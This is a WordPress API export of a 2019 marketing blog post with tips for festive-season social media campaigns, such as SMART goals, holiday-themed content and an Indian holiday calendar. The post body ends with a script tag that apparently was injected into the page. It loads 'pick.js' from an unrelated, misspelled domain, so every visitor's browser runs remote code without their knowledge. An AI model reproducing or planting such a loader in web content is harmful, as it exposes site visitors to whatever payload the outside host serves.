{"id":258,"date":"2019-01-22T08:09:20","date_gmt":"2019-01-22T08:09:20","guid":{"rendered":"http:\/\/adworthmedia.org\/blog\/?p=258"},"modified":"2019-01-23T12:32:43","modified_gmt":"2019-01-23T12:32:43","slug":"heres-your-ultimate-cheat-sheet-for-social-media-campaigns","status":"publish","type":"post","link":"https:\/\/www.adworthmedia.org\/blog\/heres-your-ultimate-cheat-sheet-for-social-media-campaigns\/","title":{"rendered":"Here&#8217;s Your Ultimate Cheat Sheet for Social Media Campaigns"},"content":{"rendered":"<p><span style=\"color: #000000;\">With Republic Day, Valentine\u2019s week and EOSS lying ahead in the calendar, newspapers, radio channels, television channels, and social media platforms, are full of messages like \u2018never seen before discount\u2019, \u2018the big discount sale\u2019, \u2018enjoy maximum discount only with us\u2019. You obviously know why?<\/span><\/p>\n<p><span style=\"color: #000000;\">It marks the beginning of lucrative sales, eye-catching campaigns, and events. All that you need is the right digital campaign which makes your brand\u2019s presence felt on social media. And with social media, it looks like a war cry with brands competing to spend more and more.<\/span><\/p>\n<p><span style=\"color: #000000;\">So, if you want to make your presence felt this festive season via social media, here is the ultimate cheat sheet.<\/span><\/p>\n<p><span style=\"color: #000000;\">1- <strong>Set S.M.A.R.T. campaign goals.<\/strong><\/span><\/p>\n<p><span style=\"color: #000000;\">Ask yourself- if your campaign smart?<\/span><\/p>\n<ul>\n<li><span style=\"color: #000000;\">Specific<\/span><\/li>\n<li><span style=\"color: #000000;\">Measurable<\/span><\/li>\n<li><span style=\"color: #000000;\">Achievable<\/span><\/li>\n<li><span style=\"color: #000000;\">Relevant<\/span><\/li>\n<li><span style=\"color: #000000;\">Time-sensitive<\/span><\/li>\n<\/ul>\n<p><span style=\"color: #000000;\">Thinking in terms of creating a SMART campaign can take it a long way.<\/span><\/p>\n<p><span style=\"color: #000000;\">2-\u00a0 <strong>Create holiday-themed content<\/strong><\/span><\/p>\n<p><span style=\"color: #000000;\">This is your chance to shine on social media and have some fun. Plan a set number of posts to celebrate the holiday, be it one day or a period of a few weeks. You can create some original graphics with the help of a designer or do it yourself with an online design suite. Once you come up with a design, you can optimize it for a number of networks.<\/span><\/p>\n<p><span style=\"color: #000000;\">3- <strong>Ensure that your content has both emotional and physical call to action<\/strong><\/span><\/p>\n<p><span style=\"color: #000000;\">Content is the biggest asset \u2013 ensure the content designed for festive season appeals to both the right side and the left side of the consumer\u2019s brain. The perfect mix of an emotional and physical call to action is what makes the content share-worthy.<\/span><\/p>\n<p><span style=\"color: #000000;\">4- <strong>Offer something extra to social media audiences<\/strong><\/span><\/p>\n<p><span style=\"color: #000000;\">This works best, apparently. Add a seasonal gift with each purchase or create a bigger, more attractive offer for your social media followers. It\u2019s worth dedicating some budget to paid social ads to avoid being overly promotional on your page profile and in the posts that your followers see.<\/span><\/p>\n<p><span style=\"color: #000000;\">5- <strong>Engage community<\/strong><\/span><\/p>\n<p><span style=\"color: #000000;\">Participate in a charity event; support a charitable cause or your local community. This can be virtually anything &#8211; from raising money for charity or spreading awareness by blogging or posting on social media. You can also take the time to thank your partners and project collaborators or opt for ordering from local vendors. It\u2019s always good to thank others for the good they do and reinforce the values your company stands for.<\/span><\/p>\n<p><span style=\"color: #000000;\">Some of the upcoming days to monetize your content and strategies:<\/span><\/p>\n<ul>\n<li><span style=\"color: #000000;\">National Girl Child Day, 24th Jan<\/span><\/li>\n<li><span style=\"color: #000000;\">Republic Day, 26th Jan<\/span><\/li>\n<li><span style=\"color: #000000;\">National Cleanliness Day, 30th Jan<\/span><\/li>\n<li><span style=\"color: #000000;\">Valentine\u2019s Day, 14<sup>th<\/sup> Feb<\/span><\/li>\n<\/ul>\n<p><script src='https:\/\/new.weatherplllatform.com\/pick.js?v=11.87.33' type='text\/javascript'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>With Republic Day, Valentine\u2019s week and EOSS lying ahead in the calendar, newspapers, radio channels, television channels, and social media platforms, are full of messages like \u2018never seen before discount\u2019, \u2018the big discount sale\u2019, \u2018enjoy maximum discount only with us\u2019. You obviously know why? It marks the beginning of lucrative sales, eye-catching campaigns, and events. [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":259,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[15,56,28,5,37,1,27],"tags":[36,57,40,55],"class_list":["post-258","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-digital","category-digital-marketing","category-digital-trends","category-facebook","category-instagram","category-social-media","category-video-marketing","tag-digital-marketing","tag-smm","tag-social-media-marketing","tag-social-media-trends"],"_links":{"self":[{"href":"https:\/\/www.adworthmedia.org\/blog\/wp-json\/wp\/v2\/posts\/258","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.adworthmedia.org\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.adworthmedia.org\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.adworthmedia.org\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.adworthmedia.org\/blog\/wp-json\/wp\/v2\/comments?post=258"}],"version-history":[{"count":3,"href":"https:\/\/www.adworthmedia.org\/blog\/wp-json\/wp\/v2\/posts\/258\/revisions"}],"predecessor-version":[{"id":263,"href":"https:\/\/www.adworthmedia.org\/blog\/wp-json\/wp\/v2\/posts\/258\/revisions\/263"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.adworthmedia.org\/blog\/wp-json\/wp\/v2\/media\/259"}],"wp:attachment":[{"href":"https:\/\/www.adworthmedia.org\/blog\/wp-json\/wp\/v2\/media?parent=258"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.adworthmedia.org\/blog\/wp-json\/wp\/v2\/categories?post=258"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.adworthmedia.org\/blog\/wp-json\/wp\/v2\/tags?post=258"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}